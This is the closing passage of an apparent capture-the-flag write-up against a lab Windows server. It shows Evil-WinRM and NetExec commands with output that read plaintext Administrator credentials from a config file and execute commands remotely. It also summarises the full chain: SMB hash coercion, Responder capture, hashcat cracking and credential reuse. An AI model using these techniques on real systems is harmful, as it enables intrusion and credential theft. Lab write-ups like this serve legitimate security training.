Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ivan.morales\Documents> icacls C:\ProgramData\CustomHealthCheck\config.xml
C:\ProgramData\CustomHealthCheck\config.xml NT AUTHORITY\SYSTEM:(I)(F)
                                            BUILTIN\Administrators:(I)(F)
                                            BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
*Evil-WinRM* PS C:\Users\ivan.morales\Documents> type C:\ProgramData\CustomHealthCheck\config.xml
<?xml version="1.0" encoding="utf-8"?>
<Credentials>
    <Username>.\Administrator</Username>
    <Password>CaughtUpInAWorldOfLies1984!</Password>
</Credentials>
*Evil-WinRM* PS C:\Users\ivan.morales\Documents> exit

BUILTIN\Users has read/execute on config.xml, and ivan.morales is a member of BUILTIN\Users — no special access needed, just reading the file:

.\Administrator:CaughtUpInAWorldOfLies1984!

Post-Exploitation

nxc winrm 10.1.23.139 -u 'Administrator' -p 'CaughtUpInAWorldOfLies1984!' --local-auth

WINRM       10.1.23.139     5985   WIN-0MTGMLVOBBO  [*] Windows Server 2022 Build 20348 (name:WIN-0MTGMLVOBBO) (domain:WIN-0MTGMLVOBBO)
# … (cryptography deprecation warning trimmed)
WINRM       10.1.23.139     5985   WIN-0MTGMLVOBBO  [+] WIN-0MTGMLVOBBO\Administrator:CaughtUpInAWorldOfLies1984! (Pwn3d!)
nxc winrm 10.1.23.139 -u 'Administrator' -p 'CaughtUpInAWorldOfLies1984!' -X 'Get-Content C:\Users\Administrator\Desktop\root.txt'

WINRM       10.1.23.139     5985   WIN-0MTGMLVOBBO  [*] Windows Server 2022 Build 20348 (name:WIN-0MTGMLVOBBO) (domain:WIN-0MTGMLVOBBO)
# … (cryptography deprecation warning trimmed)
WINRM       10.1.23.139     5985   WIN-0MTGMLVOBBO  [+] WIN-0MTGMLVOBBO\Administrator:CaughtUpInAWorldOfLies1984! (Pwn3d!)
WINRM       10.1.23.139     5985   WIN-0MTGMLVOBBO  [+] Executed command (shell type: powershell)
WINRM       10.1.23.139     5985   WIN-0MTGMLVOBBO  954187f1ac3f6daebcfac28dc76cd291

Administrator access, and the flag read straight off the desktop through NetExec’s command execution.

Attack Path Summary

Port 80: osTicket "Smarter Support" | Port 5000: Printer Configuration Portal (admin:admin)
↓
"Test Connection" feature performs an SMB auth attempt to an arbitrary host=<attacker IP>
↓
Responder's SMB server captures printer_support's NetNTLMv2 hash
↓
hashcat -m 5600 + rockyou.txt → printer_support:Epsoncx3600
↓
RDP/WinRM/osTicket customer login all fail or stall for printer_support
↓
gobuster finds osTicket staff panel /scp/ → printer_support logs in as staff
↓
SCP ticket #573525: Andre Pierce posts fresh creds to Ivan Morales in cleartext
↓
ivan.morales:ChipiChapaMagico2026! → WinRM / RDP foothold (low-privileged local user)
↓
HealthCheck.exe reports data a direct CIM query can't get → strings reveals embedded
PowerShell reading C:\ProgramData\CustomHealthCheck\config.xml for admin creds
↓
config.xml is BUILTIN\Users-readable → Administrator:CaughtUpInAWorldOfLies1984!
↓
nxc winrm Administrator -X 'Get-Content root.txt' → flag

Credentials Found

Principal Credential Source
admin (Printer Configuration Portal) admin:admin Default credentials
printer_support Epsoncx3600 NetNTLMv2 hash coerced via the portal’s “Test Connection” feature, captured with Responder, cracked with hashcat (-m 5600, rockyou)
ivan.morales ChipiChapaMagico2026! osTicket SCP ticket #573525, posted in cleartext by staff
Administrator CaughtUpInAWorldOfLies1984! C:\ProgramData\CustomHealthCheck\config.xml, readable by BUILTIN\Users
Flag Value
root.txt 954187f1ac3f6daebcfac28dc76cd291

Tools Used

  • Nmap
  • curl
  • Responder
  • hashcat
  • NetExec
  • Gobuster
  • Evil-WinRM
  • file / strings